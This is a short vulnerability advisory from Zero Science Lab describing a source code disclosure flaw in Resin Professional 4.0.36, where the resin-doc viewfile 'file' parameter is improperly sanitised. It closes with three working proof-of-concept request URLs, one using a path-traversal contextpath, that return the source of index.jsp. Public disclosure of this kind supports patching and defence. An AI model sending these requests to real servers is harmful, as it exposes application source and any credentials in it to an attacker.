Resin Application Server 4.0.36 Source Code Disclosure Vulnerability Vendor: Caucho Technology, Inc. Product web page: http://www.caucho.com Affected version: Resin Professional Web And Application Server 4.0.36 Summary: Resin is the Java Application Server for high traffic sites that require speed and scalability. It is one of the earliest Java Application Servers, and has stood the test of time due to engineering prowess. Desc: The vulnerability is caused do to an improper sanitization of the 'file' parameter when used for reading help files. An attacker can exploit this vulnerability by directly requesting a '.jsp' file for example in the root directory of the server to view its source code that might reveal sensitive information. Tested on: Resin Professional 4.0.36 (built Fri, 26 Apr 2013 03:33:09 PDT) Java HotSpot(TM) 64-Bit Server VM 23.3-b01 4 cpu, Windows 7 amd64 6.1 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2013-5144 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5144.php 01.06.2013 -- http://127.0.0.1:8080/resin-doc/viewfile/?file=index.jsp http://127.0.0.1:8080/resin-doc/viewfile/?contextpath=/.\../&servletpath=&file=index.jsp http://127.0.0.1:8080/resin-doc/viewfile/?contextpath=/.&servletpath=&file=index.jsp